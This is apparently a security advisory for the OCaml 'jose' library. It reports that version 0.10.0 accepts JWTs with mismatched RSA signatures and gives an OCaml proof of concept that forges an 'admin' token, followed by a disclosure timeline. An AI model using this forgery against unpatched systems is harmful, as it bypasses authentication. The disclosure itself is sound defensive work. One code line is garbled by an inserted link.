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The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.
## Reproduction
With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:
```OCaml
let () = Mirage_crypto_rng_unix.use_default ()
let key =
Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())
let sign sub =
Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
|> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string
let seg n token = List.nth (String.split_on_char '.' token) n
let alice = sign "alice" and admin = sign "admin"
(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]
match
Jose.Jwt.unsafe_of_string forged
|> Result.get_ok
|> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
| Ok t ->
print_endline
("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
| Error _ -> print_endline "rejected"
```
The dune file:
```
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
```
This prints "accepted, sub = admin".
## Workaround
There is no workaround known.
## Timeline
- 2026-08-25: private report via email to the authors of jose
- 2026-08-25: fix published to repository
- 2026-08-31: mail escalated to security@ocaml.org
- 2026-09-04: released jose 0.11.0
- 2026-09-10: published advisory
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